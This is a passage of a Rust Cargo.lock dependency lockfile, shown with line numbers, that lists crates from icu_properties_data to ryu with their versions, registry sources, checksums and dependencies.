1463 | 1464 | [[package]] 1465 | name = "icu_properties_data" 1466 | version = "2.0.1" 1467 | source = "registry+https://github.com/rust-lang/crates.io-index" 1468 | checksum = "298459143998310acd25ffe6810ed544932242d3f07083eee1084d83a71bd632" 1469 | 1470 | [[package]] 1471 | name = "icu_provider" 1472 | version = "2.0.0" 1473 | source = "registry+https://github.com/rust-lang/crates.io-index" 1474 | checksum = "03c80da27b5f4187909049ee2d72f276f0d9f99a42c306bd0131ecfe04d8e5af" 1475 | dependencies = [ 1476 | "displaydoc", 1477 | "icu_locale_core", 1478 | "stable_deref_trait", 1479 | "tinystr", 1480 | "writeable", 1481 | "yoke", 1482 | "zerofrom", 1483 | "zerotrie", 1484 | "zerovec", 1485 | ] 1486 | 1487 | [[package]] 1488 | name = "idna" 1489 | version = "1.0.3" 1490 | source = "registry+https://github.com/rust-lang/crates.io-index" 1491 | checksum = "686f825264d630750a544639377bae737628043f20d38bbc029e8f29ea968a7e" 1492 | dependencies = [ 1493 | "idna_adapter", 1494 | "smallvec", 1495 | "utf8_iter", 1496 | ] 1497 | 1498 | [[package]] 1499 | name = "idna_adapter" 1500 | version = "1.2.1" 1501 | source = "registry+https://github.com/rust-lang/crates.io-index" 1502 | checksum = "3acae9609540aa318d1bc588455225fb2085b9ed0c4f6bd0d9d5bcd86f1a0344" 1503 | dependencies = [ 1504 | "icu_normalizer", 1505 | "icu_properties", 1506 | ] 1507 | 1508 | [[package]] 1509 | name = "indexmap" 1510 | version = "2.10.0" 1511 | source = "registry+https://github.com/rust-lang/crates.io-index" 1512 | checksum = "fe4cd85333e22411419a0bcae1297d25e58c9443848b11dc6a86fefe8c78a661" 1513 | dependencies = [ 1514 | "equivalent", 1515 | "hashbrown", 1516 | ] 1517 | 1518 | [[package]] 1519 | name = "io-uring" 1520 | version = "0.7.9" 1521 | source = "registry+https://github.com/rust-lang/crates.io-index" 1522 | checksum = "d93587f37623a1a17d94ef2bc9ada592f5465fe7732084ab7beefabe5c77c0c4" 1523 | dependencies = [ 1524 | "bitflags", 1525 | "cfg-if", 1526 | "libc", 1527 | ] 1528 | 1529 | [[package]] 1530 | name = "ipnet" 1531 | version = "2.11.0" 1532 | source = "registry+https://github.com/rust-lang/crates.io-index" 1533 | checksum = "469fb0b9cefa57e3ef31275ee7cacb78f2fdca44e4765491884a2b119d4eb130" 1534 | 1535 | [[package]] 1536 | name = "iri-string" 1537 | version = "0.7.8" 1538 | source = "registry+https://github.com/rust-lang/crates.io-index" 1539 | checksum = "dbc5ebe9c3a1a7a5127f920a418f7585e9e758e911d0466ed004f393b0e380b2" 1540 | dependencies = [ 1541 | "memchr", 1542 | "serde", 1543 | ] 1544 | 1545 | [[package]] 1546 | name = "is_terminal_polyfill" 1547 | version = "1.70.1" 1548 | source = "registry+https://github.com/rust-lang/crates.io-index" 1549 | checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf" 1550 | 1551 | [[package]] 1552 | name = "itertools" 1553 | version = "0.12.1" 1554 | source = "registry+https://github.com/rust-lang/crates.io-index" 1555 | checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569" 1556 | dependencies = [ 1557 | "either", 1558 | ] 1559 | 1560 | [[package]] 1561 | name = "itoa" 1562 | version = "1.0.15" 1563 | source = "registry+https://github.com/rust-lang/crates.io-index" 1564 | checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c" 1565 | 1566 | [[package]] 1567 | name = "jobserver" 1568 | version = "0.1.33" 1569 | source = "registry+https://github.com/rust-lang/crates.io-index" 1570 | checksum = "38f262f097c174adebe41eb73d66ae9c06b2844fb0da69969647bbddd9b0538a" 1571 | dependencies = [ 1572 | "getrandom 0.3.3", 1573 | "libc", 1574 | ] 1575 | 1576 | [[package]] 1577 | name = "js-sys" 1578 | version = "0.3.77" 1579 | source = "registry+https://github.com/rust-lang/crates.io-index" 1580 | checksum = "1cfaf33c695fc6e08064efbc1f72ec937429614f25eef83af942d0e227c3a28f" 1581 | dependencies = [ 1582 | "once_cell", 1583 | "wasm-bindgen", 1584 | ] 1585 | 1586 | [[package]] 1587 | name = "lazy_static" 1588 | version = "1.5.0" 1589 | source = "registry+https://github.com/rust-lang/crates.io-index" 1590 | checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" 1591 | 1592 | [[package]] 1593 | name = "lazycell" 1594 | version = "1.3.0" 1595 | source = "registry+https://github.com/rust-lang/crates.io-index" 1596 | checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55" 1597 | 1598 | [[package]] 1599 | name = "libc" 1600 | version = "0.2.174" 1601 | source = "registry+https://github.com/rust-lang/crates.io-index" 1602 | checksum = "1171693293099992e19cddea4e8b849964e9846f4acee11b3948bcc337be8776" 1603 | 1604 | [[package]] 1605 | name = "libloading" 1606 | version = "0.8.8" 1607 | source = "registry+https://github.com/rust-lang/crates.io-index" 1608 | checksum = "07033963ba89ebaf1584d767badaa2e8fcec21aedea6b8c0346d487d49c28667" 1609 | dependencies = [ 1610 | "cfg-if", 1611 | "windows-targets 0.53.2", 1612 | ] 1613 | 1614 | [[package]] 1615 | name = "libmimalloc-sys" 1616 | version = "0.1.43" 1617 | source = "registry+https://github.com/rust-lang/crates.io-index" 1618 | checksum = "bf88cd67e9de251c1781dbe2f641a1a3ad66eaae831b8a2c38fbdc5ddae16d4d" 1619 | dependencies = [ 1620 | "cc", 1621 | "libc", 1622 | ] 1623 | 1624 | [[package]] 1625 | name = "linux-raw-sys" 1626 | version = "0.4.15" 1627 | source = "registry+https://github.com/rust-lang/crates.io-index" 1628 | checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab" 1629 | 1630 | [[package]] 1631 | name = "litemap" 1632 | version = "0.8.0" 1633 | source = "registry+https://github.com/rust-lang/crates.io-index" 1634 | checksum = "241eaef5fd12c88705a01fc1066c48c4b36e0dd4377dcdc7ec3942cea7a69956" 1635 | 1636 | [[package]] 1637 | name = "lock_api" 1638 | version = "0.4.13" 1639 | source = "registry+https://github.com/rust-lang/crates.io-index" 1640 | checksum = "96936507f153605bddfcda068dd804796c84324ed2510809e5b2a624c81da765" 1641 | dependencies = [ 1642 | "autocfg", 1643 | "scopeguard", 1644 | ] 1645 | 1646 | [[package]] 1647 | name = "log" 1648 | version = "0.4.27" 1649 | source = "registry+https://github.com/rust-lang/crates.io-index" 1650 | checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94" 1651 | 1652 | [[package]] 1653 | name = "lru" 1654 | version = "0.12.5" 1655 | source = "registry+https://github.com/rust-lang/crates.io-index" 1656 | checksum = "234cf4f4a04dc1f57e24b96cc0cd600cf2af460d4161ac5ecdd0af8e1f3b2a38" 1657 | dependencies = [ 1658 | "hashbrown", 1659 | ] 1660 | 1661 | [[package]] 1662 | name = "lru-slab" 1663 | version = "0.1.2" 1664 | source = "registry+https://github.com/rust-lang/crates.io-index" 1665 | checksum = "112b39cec0b298b6c1999fee3e31427f74f676e4cb9879ed1a121b43661a4154" 1666 | 1667 | [[package]] 1668 | name = "md-5" 1669 | version = "0.10.6" 1670 | source = "registry+https://github.com/rust-lang/crates.io-index" 1671 | checksum = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf" 1672 | dependencies = [ 1673 | "cfg-if", 1674 | "digest", 1675 | ] 1676 | 1677 | [[package]] 1678 | name = "memchr" 1679 | version = "2.7.5" 1680 | source = "registry+https://github.com/rust-lang/crates.io-index" 1681 | checksum = "32a282da65faaf38286cf3be983213fcf1d2e2a58700e808f83f4ea9a4804bc0" 1682 | 1683 | [[package]] 1684 | name = "mimalloc" 1685 | version = "0.1.47" 1686 | source = "registry+https://github.com/rust-lang/crates.io-index" 1687 | checksum = "b1791cbe101e95af5764f06f20f6760521f7158f69dbf9d6baf941ee1bf6bc40" 1688 | dependencies = [ 1689 | "libmimalloc-sys", 1690 | ] 1691 | 1692 | [[package]] 1693 | name = "minimal-lexical" 1694 | version = "0.2.1" 1695 | source = "registry+https://github.com/rust-lang/crates.io-index" 1696 | checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" 1697 | 1698 | [[package]] 1699 | name = "miniz_oxide" 1700 | version = "0.8.9" 1701 | source = "registry+https://github.com/rust-lang/crates.io-index" 1702 | checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316" 1703 | dependencies = [ 1704 | "adler2", 1705 | ] 1706 | 1707 | [[package]] 1708 | name = "mio" 1709 | version = "1.0.4" 1710 | source = "registry+https://github.com/rust-lang/crates.io-index" 1711 | checksum = "78bed444cc8a2160f01cbcf811ef18cac863ad68ae8ca62092e8db51d51c761c" 1712 | dependencies = [ 1713 | "libc", 1714 | "wasi 0.11.1+wasi-snapshot-preview1", 1715 | "windows-sys 0.59.0", 1716 | ] 1717 | 1718 | [[package]] 1719 | name = "nom" 1720 | version = "7.1.3" 1721 | source = "registry+https://github.com/rust-lang/crates.io-index" 1722 | checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" 1723 | dependencies = [ 1724 | "memchr", 1725 | "minimal-lexical", 1726 | ] 1727 | 1728 | [[package]] 1729 | name = "ntapi" 1730 | version = "0.4.1" 1731 | source = "registry+https://github.com/rust-lang/crates.io-index" 1732 | checksum = "e8a3895c6391c39d7fe7ebc444a87eb2991b2a0bc718fdabd071eec617fc68e4" 1733 | dependencies = [ 1734 | "winapi", 1735 | ] 1736 | 1737 | [[package]] 1738 | name = "nu-ansi-term" 1739 | version = "0.46.0" 1740 | source = "registry+https://github.com/rust-lang/crates.io-index" 1741 | checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" 1742 | dependencies = [ 1743 | "overload", 1744 | "winapi", 1745 | ] 1746 | 1747 | [[package]] 1748 | name = "num-conv" 1749 | version = "0.1.0" 1750 | source = "registry+https://github.com/rust-lang/crates.io-index" 1751 | checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9" 1752 | 1753 | [[package]] 1754 | name = "num-integer" 1755 | version = "0.1.46" 1756 | source = "registry+https://github.com/rust-lang/crates.io-index" 1757 | checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" 1758 | dependencies = [ 1759 | "num-traits", 1760 | ] 1761 | 1762 | [[package]] 1763 | name = "num-traits" 1764 | version = "0.2.19" 1765 | source = "registry+https://github.com/rust-lang/crates.io-index" 1766 | checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" 1767 | dependencies = [ 1768 | "autocfg", 1769 | ] 1770 | 1771 | [[package]] 1772 | name = "num_cpus" 1773 | version = "1.17.0" 1774 | source = "registry+https://github.com/rust-lang/crates.io-index" 1775 | checksum = "91df4bbde75afed763b708b7eee1e8e7651e02d97f6d5dd763e89367e957b23b" 1776 | dependencies = [ 1777 | "hermit-abi", 1778 | "libc", 1779 | ] 1780 | 1781 | [[package]] 1782 | name = "objc2-core-foundation" 1783 | version = "0.3.1" 1784 | source = "registry+https://github.com/rust-lang/crates.io-index" 1785 | checksum = "1c10c2894a6fed806ade6027bcd50662746363a9589d3ec9d9bef30a4e4bc166" 1786 | dependencies = [ 1787 | "bitflags", 1788 | ] 1789 | 1790 | [[package]] 1791 | name = "objc2-io-kit" 1792 | version = "0.3.1" 1793 | source = "registry+https://github.com/rust-lang/crates.io-index" 1794 | checksum = "71c1c64d6120e51cd86033f67176b1cb66780c2efe34dec55176f77befd93c0a" 1795 | dependencies = [ 1796 | "libc", 1797 | "objc2-core-foundation", 1798 | ] 1799 | 1800 | [[package]] 1801 | name = "object" 1802 | version = "0.36.7" 1803 | source = "registry+https://github.com/rust-lang/crates.io-index" 1804 | checksum = "62948e14d923ea95ea2c7c86c71013138b66525b86bdc08d2dcc262bdb497b87" 1805 | dependencies = [ 1806 | "memchr", 1807 | ] 1808 | 1809 | [[package]] 1810 | name = "once_cell" 1811 | version = "1.21.3" 1812 | source = "registry+https://github.com/rust-lang/crates.io-index" 1813 | checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" 1814 | 1815 | [[package]] 1816 | name = "once_cell_polyfill" 1817 | version = "1.70.1" 1818 | source = "registry+https://github.com/rust-lang/crates.io-index" 1819 | checksum = "a4895175b425cb1f87721b59f0f286c2092bd4af812243672510e1ac53e2e0ad" 1820 | 1821 | [[package]] 1822 | name = "openssl-probe" 1823 | version = "0.1.6" 1824 | source = "registry+https://github.com/rust-lang/crates.io-index" 1825 | checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e" 1826 | 1827 | [[package]] 1828 | name = "outref" 1829 | version = "0.5.2" 1830 | source = "registry+https://github.com/rust-lang/crates.io-index" 1831 | checksum = "1a80800c0488c3a21695ea981a54918fbb37abf04f4d0720c453632255e2ff0e" 1832 | 1833 | [[package]] 1834 | name = "overload" 1835 | version = "0.1.1" 1836 | source = "registry+https://github.com/rust-lang/crates.io-index" 1837 | checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" 1838 | 1839 | [[package]] 1840 | name = "p256" 1841 | version = "0.11.1" 1842 | source = "registry+https://github.com/rust-lang/crates.io-index" 1843 | checksum = "51f44edd08f51e2ade572f141051021c5af22677e42b7dd28a88155151c33594" 1844 | dependencies = [ 1845 | "ecdsa", 1846 | "elliptic-curve", 1847 | "sha2", 1848 | ] 1849 | 1850 | [[package]] 1851 | name = "parking_lot" 1852 | version = "0.12.4" 1853 | source = "registry+https://github.com/rust-lang/crates.io-index" 1854 | checksum = "70d58bf43669b5795d1576d0641cfb6fbb2057bf629506267a92807158584a13" 1855 | dependencies = [ 1856 | "lock_api", 1857 | "parking_lot_core", 1858 | ] 1859 | 1860 | [[package]] 1861 | name = "parking_lot_core" 1862 | version = "0.9.11" 1863 | source = "registry+https://github.com/rust-lang/crates.io-index" 1864 | checksum = "bc838d2a56b5b1a6c25f55575dfc605fabb63bb2365f6c2353ef9159aa69e4a5" 1865 | dependencies = [ 1866 | "cfg-if", 1867 | "libc", 1868 | "redox_syscall", 1869 | "smallvec", 1870 | "windows-targets 0.52.6", 1871 | ] 1872 | 1873 | [[package]] 1874 | name = "percent-encoding" 1875 | version = "2.3.1" 1876 | source = "registry+https://github.com/rust-lang/crates.io-index" 1877 | checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" 1878 | 1879 | [[package]] 1880 | name = "pin-project" 1881 | version = "1.1.10" 1882 | source = "registry+https://github.com/rust-lang/crates.io-index" 1883 | checksum = "677f1add503faace112b9f1373e43e9e054bfdd22ff1a63c1bc485eaec6a6a8a" 1884 | dependencies = [ 1885 | "pin-project-internal", 1886 | ] 1887 | 1888 | [[package]] 1889 | name = "pin-project-internal" 1890 | version = "1.1.10" 1891 | source = "registry+https://github.com/rust-lang/crates.io-index" 1892 | checksum = "6e918e4ff8c4549eb882f14b3a4bc8c8bc93de829416eacf579f1207a8fbf861" 1893 | dependencies = [ 1894 | "proc-macro2", 1895 | "quote", 1896 | "syn", 1897 | ] 1898 | 1899 | [[package]] 1900 | name = "pin-project-lite" 1901 | version = "0.2.16" 1902 | source = "registry+https://github.com/rust-lang/crates.io-index" 1903 | checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" 1904 | 1905 | [[package]] 1906 | name = "pin-utils" 1907 | version = "0.1.0" 1908 | source = "registry+https://github.com/rust-lang/crates.io-index" 1909 | checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" 1910 | 1911 | [[package]] 1912 | name = "pkcs8" 1913 | version = "0.9.0" 1914 | source = "registry+https://github.com/rust-lang/crates.io-index" 1915 | checksum = "9eca2c590a5f85da82668fa685c09ce2888b9430e83299debf1f34b65fd4a4ba" 1916 | dependencies = [ 1917 | "der", 1918 | "spki", 1919 | ] 1920 | 1921 | [[package]] 1922 | name = "potential_utf" 1923 | version = "0.1.2" 1924 | source = "registry+https://github.com/rust-lang/crates.io-index" 1925 | checksum = "e5a7c30837279ca13e7c867e9e40053bc68740f988cb07f7ca6df43cc734b585" 1926 | dependencies = [ 1927 | "zerovec", 1928 | ] 1929 | 1930 | [[package]] 1931 | name = "powerfmt" 1932 | version = "0.2.0" 1933 | source = "registry+https://github.com/rust-lang/crates.io-index" 1934 | checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" 1935 | 1936 | [[package]] 1937 | name = "ppv-lite86" 1938 | version = "0.2.21" 1939 | source = "registry+https://github.com/rust-lang/crates.io-index" 1940 | checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" 1941 | dependencies = [ 1942 | "zerocopy", 1943 | ] 1944 | 1945 | [[package]] 1946 | name = "prettyplease" 1947 | version = "0.2.36" 1948 | source = "registry+https://github.com/rust-lang/crates.io-index" 1949 | checksum = "ff24dfcda44452b9816fff4cd4227e1bb73ff5a2f1bc1105aa92fb8565ce44d2" 1950 | dependencies = [ 1951 | "proc-macro2", 1952 | "syn", 1953 | ] 1954 | 1955 | [[package]] 1956 | name = "proc-macro2" 1957 | version = "1.0.95" 1958 | source = "registry+https://github.com/rust-lang/crates.io-index" 1959 | checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778" 1960 | dependencies = [ 1961 | "unicode-ident", 1962 | ] 1963 | 1964 | [[package]] 1965 | name = "quinn" 1966 | version = "0.11.8" 1967 | source = "registry+https://github.com/rust-lang/crates.io-index" 1968 | checksum = "626214629cda6781b6dc1d316ba307189c85ba657213ce642d9c77670f8202c8" 1969 | dependencies = [ 1970 | "bytes", 1971 | "cfg_aliases", 1972 | "pin-project-lite", 1973 | "quinn-proto", 1974 | "quinn-udp", 1975 | "rustc-hash 2.1.1", 1976 | "rustls 0.23.30", 1977 | "socket2 0.5.10", 1978 | "thiserror", 1979 | "tokio", 1980 | "tracing", 1981 | "web-time", 1982 | ] 1983 | 1984 | [[package]] 1985 | name = "quinn-proto" 1986 | version = "0.11.12" 1987 | source = "registry+https://github.com/rust-lang/crates.io-index" 1988 | checksum = "49df843a9161c85bb8aae55f101bc0bac8bcafd637a620d9122fd7e0b2f7422e" 1989 | dependencies = [ 1990 | "bytes", 1991 | "getrandom 0.3.3", 1992 | "lru-slab", 1993 | "rand", 1994 | "ring", 1995 | "rustc-hash 2.1.1", 1996 | "rustls 0.23.30", 1997 | "rustls-pki-types", 1998 | "slab", 1999 | "thiserror", 2000 | "tinyvec", 2001 | "tracing", 2002 | "web-time", 2003 | ] 2004 | 2005 | [[package]] 2006 | name = "quinn-udp" 2007 | version = "0.5.13" 2008 | source = "registry+https://github.com/rust-lang/crates.io-index" 2009 | checksum = "fcebb1209ee276352ef14ff8732e24cc2b02bbac986cd74a4c81bcb2f9881970" 2010 | dependencies = [ 2011 | "cfg_aliases", 2012 | "libc", 2013 | "once_cell", 2014 | "socket2 0.5.10", 2015 | "tracing", 2016 | "windows-sys 0.59.0", 2017 | ] 2018 | 2019 | [[package]] 2020 | name = "quote" 2021 | version = "1.0.40" 2022 | source = "registry+https://github.com/rust-lang/crates.io-index" 2023 | checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d" 2024 | dependencies = [ 2025 | "proc-macro2", 2026 | ] 2027 | 2028 | [[package]] 2029 | name = "r-efi" 2030 | version = "5.3.0" 2031 | source = "registry+https://github.com/rust-lang/crates.io-index" 2032 | checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" 2033 | 2034 | [[package]] 2035 | name = "rand" 2036 | version = "0.9.2" 2037 | source = "registry+https://github.com/rust-lang/crates.io-index" 2038 | checksum = "6db2770f06117d490610c7488547d543617b21bfa07796d7a12f6f1bd53850d1" 2039 | dependencies = [ 2040 | "rand_chacha", 2041 | "rand_core 0.9.3", 2042 | ] 2043 | 2044 | [[package]] 2045 | name = "rand_chacha" 2046 | version = "0.9.0" 2047 | source = "registry+https://github.com/rust-lang/crates.io-index" 2048 | checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" 2049 | dependencies = [ 2050 | "ppv-lite86", 2051 | "rand_core 0.9.3", 2052 | ] 2053 | 2054 | [[package]] 2055 | name = "rand_core" 2056 | version = "0.6.4" 2057 | source = "registry+https://github.com/rust-lang/crates.io-index" 2058 | checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" 2059 | dependencies = [ 2060 | "getrandom 0.2.16", 2061 | ] 2062 | 2063 | [[package]] 2064 | name = "rand_core" 2065 | version = "0.9.3" 2066 | source = "registry+https://github.com/rust-lang/crates.io-index" 2067 | checksum = "99d9a13982dcf210057a8a78572b2217b667c3beacbf3a0d8b454f6f82837d38" 2068 | dependencies = [ 2069 | "getrandom 0.3.3", 2070 | ] 2071 | 2072 | [[package]] 2073 | name = "redox_syscall" 2074 | version = "0.5.16" 2075 | source = "registry+https://github.com/rust-lang/crates.io-index" 2076 | checksum = "7251471db004e509f4e75a62cca9435365b5ec7bcdff530d612ac7c87c44a792" 2077 | dependencies = [ 2078 | "bitflags", 2079 | ] 2080 | 2081 | [[package]] 2082 | name = "regex" 2083 | version = "1.11.1" 2084 | source = "registry+https://github.com/rust-lang/crates.io-index" 2085 | checksum = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191" 2086 | dependencies = [ 2087 | "aho-corasick", 2088 | "memchr", 2089 | "regex-automata", 2090 | "regex-syntax", 2091 | ] 2092 | 2093 | [[package]] 2094 | name = "regex-automata" 2095 | version = "0.4.9" 2096 | source = "registry+https://github.com/rust-lang/crates.io-index" 2097 | checksum = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908" 2098 | dependencies = [ 2099 | "aho-corasick", 2100 | "memchr", 2101 | "regex-syntax", 2102 | ] 2103 | 2104 | [[package]] 2105 | name = "regex-lite" 2106 | version = "0.1.6" 2107 | source = "registry+https://github.com/rust-lang/crates.io-index" 2108 | checksum = "53a49587ad06b26609c52e423de037e7f57f20d53535d66e08c695f347df952a" 2109 | 2110 | [[package]] 2111 | name = "regex-syntax" 2112 | version = "0.8.5" 2113 | source = "registry+https://github.com/rust-lang/crates.io-index" 2114 | checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c" 2115 | 2116 | [[package]] 2117 | name = "reqwest" 2118 | version = "0.12.22" 2119 | source = "registry+https://github.com/rust-lang/crates.io-index" 2120 | checksum = "cbc931937e6ca3a06e3b6c0aa7841849b160a90351d6ab467a8b9b9959767531" 2121 | dependencies = [ 2122 | "base64 0.22.1", 2123 | "bytes", 2124 | "futures-core", 2125 | "http 1.3.1", 2126 | "http-body 1.0.1", 2127 | "http-body-util", 2128 | "hyper 1.6.0", 2129 | "hyper-rustls 0.27.7", 2130 | "hyper-util", 2131 | "js-sys", 2132 | "log", 2133 | "percent-encoding", 2134 | "pin-project-lite", 2135 | "quinn", 2136 | "rustls 0.23.30", 2137 | "rustls-pki-types", 2138 | "serde", 2139 | "serde_json", 2140 | "serde_urlencoded", 2141 | "sync_wrapper", 2142 | "tokio", 2143 | "tokio-rustls 0.26.2", 2144 | "tower", 2145 | "tower-http", 2146 | "tower-service", 2147 | "url", 2148 | "wasm-bindgen", 2149 | "wasm-bindgen-futures", 2150 | "web-sys", 2151 | "webpki-roots", 2152 | ] 2153 | 2154 | [[package]] 2155 | name = "rfc6979" 2156 | version = "0.3.1" 2157 | source = "registry+https://github.com/rust-lang/crates.io-index" 2158 | checksum = "7743f17af12fa0b03b803ba12cd6a8d9483a587e89c69445e3909655c0b9fabb" 2159 | dependencies = [ 2160 | "crypto-bigint 0.4.9", 2161 | "hmac", 2162 | "zeroize", 2163 | ] 2164 | 2165 | [[package]] 2166 | name = "ring" 2167 | version = "0.17.14" 2168 | source = "registry+https://github.com/rust-lang/crates.io-index" 2169 | checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" 2170 | dependencies = [ 2171 | "cc", 2172 | "cfg-if", 2173 | "getrandom 0.2.16", 2174 | "libc", 2175 | "untrusted", 2176 | "windows-sys 0.52.0", 2177 | ] 2178 | 2179 | [[package]] 2180 | name = "rustc-demangle" 2181 | version = "0.1.26" 2182 | source = "registry+https://github.com/rust-lang/crates.io-index" 2183 | checksum = "56f7d92ca342cea22a06f2121d944b4fd82af56988c270852495420f961d4ace" 2184 | 2185 | [[package]] 2186 | name = "rustc-hash" 2187 | version = "1.1.0" 2188 | source = "registry+https://github.com/rust-lang/crates.io-index" 2189 | checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" 2190 | 2191 | [[package]] 2192 | name = "rustc-hash" 2193 | version = "2.1.1" 2194 | source = "registry+https://github.com/rust-lang/crates.io-index" 2195 | checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d" 2196 | 2197 | [[package]] 2198 | name = "rustc_version" 2199 | version = "0.4.1" 2200 | source = "registry+https://github.com/rust-lang/crates.io-index" 2201 | checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" 2202 | dependencies = [ 2203 | "semver", 2204 | ] 2205 | 2206 | [[package]] 2207 | name = "rustix" 2208 | version = "0.38.44" 2209 | source = "registry+https://github.com/rust-lang/crates.io-index" 2210 | checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154" 2211 | dependencies = [ 2212 | "bitflags", 2213 | "errno", 2214 | "libc", 2215 | "linux-raw-sys", 2216 | "windows-sys 0.59.0", 2217 | ] 2218 | 2219 | [[package]] 2220 | name = "rustls" 2221 | version = "0.21.12" 2222 | source = "registry+https://github.com/rust-lang/crates.io-index" 2223 | checksum = "3f56a14d1f48b391359b22f731fd4bd7e43c97f3c50eee276f3aa09c94784d3e" 2224 | dependencies = [ 2225 | "log", 2226 | "ring", 2227 | "rustls-webpki 0.101.7", 2228 | "sct", 2229 | ] 2230 | 2231 | [[package]] 2232 | name = "rustls" 2233 | version = "0.23.30" 2234 | source = "registry+https://github.com/rust-lang/crates.io-index" 2235 | checksum = "069a8df149a16b1a12dcc31497c3396a173844be3cac4bd40c9e7671fef96671" 2236 | dependencies = [ 2237 | "aws-lc-rs", 2238 | "log", 2239 | "once_cell", 2240 | "ring", 2241 | "rustls-pki-types", 2242 | "rustls-webpki 0.103.4", 2243 | "subtle", 2244 | "zeroize", 2245 | ] 2246 | 2247 | [[package]] 2248 | name = "rustls-native-certs" 2249 | version = "0.6.3" 2250 | source = "registry+https://github.com/rust-lang/crates.io-index" 2251 | checksum = "a9aace74cb666635c918e9c12bc0d348266037aa8eb599b5cba565709a8dff00" 2252 | dependencies = [ 2253 | "openssl-probe", 2254 | "rustls-pemfile", 2255 | "schannel", 2256 | "security-framework 2.11.1", 2257 | ] 2258 | 2259 | [[package]] 2260 | name = "rustls-native-certs" 2261 | version = "0.8.1" 2262 | source = "registry+https://github.com/rust-lang/crates.io-index" 2263 | checksum = "7fcff2dd52b58a8d98a70243663a0d234c4e2b79235637849d15913394a247d3" 2264 | dependencies = [ 2265 | "openssl-probe", 2266 | "rustls-pki-types", 2267 | "schannel", 2268 | "security-framework 3.2.0", 2269 | ] 2270 | 2271 | [[package]] 2272 | name = "rustls-pemfile" 2273 | version = "1.0.4" 2274 | source = "registry+https://github.com/rust-lang/crates.io-index" 2275 | checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c" 2276 | dependencies = [ 2277 | "base64 0.21.7", 2278 | ] 2279 | 2280 | [[package]] 2281 | name = "rustls-pki-types" 2282 | version = "1.12.0" 2283 | source = "registry+https://github.com/rust-lang/crates.io-index" 2284 | checksum = "229a4a4c221013e7e1f1a043678c5cc39fe5171437c88fb47151a21e6f5b5c79" 2285 | dependencies = [ 2286 | "web-time", 2287 | "zeroize", 2288 | ] 2289 | 2290 | [[package]] 2291 | name = "rustls-webpki" 2292 | version = "0.101.7" 2293 | source = "registry+https://github.com/rust-lang/crates.io-index" 2294 | checksum = "8b6275d1ee7a1cd780b64aca7726599a1dbc893b1e64144529e55c3c2f745765" 2295 | dependencies = [ 2296 | "ring", 2297 | "untrusted", 2298 | ] 2299 | 2300 | [[package]] 2301 | name = "rustls-webpki" 2302 | version = "0.103.4" 2303 | source = "registry+https://github.com/rust-lang/crates.io-index" 2304 | checksum = "0a17884ae0c1b773f1ccd2bd4a8c72f16da897310a98b0e84bf349ad5ead92fc" 2305 | dependencies = [ 2306 | "aws-lc-rs", 2307 | "ring", 2308 | "rustls-pki-types", 2309 | "untrusted", 2310 | ] 2311 | 2312 | [[package]] 2313 | name = "rustversion" 2314 | version = "1.0.21" 2315 | source = "registry+https://github.com/rust-lang/crates.io-index" 2316 | checksum = "8a0d197bd2c9dc6e53b84da9556a69ba4cdfab8619eb41a8bd1cc2027a0f6b1d" 2317 | 2318 | [[package]] 2319 | name = "ryu" 2320 | version = "1.0.20" 2321 | source = "registry+https://github.com/rust-lang/crates.io-index" 2322 | checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f" 2323 | 2324 | [[package]] 2325 | 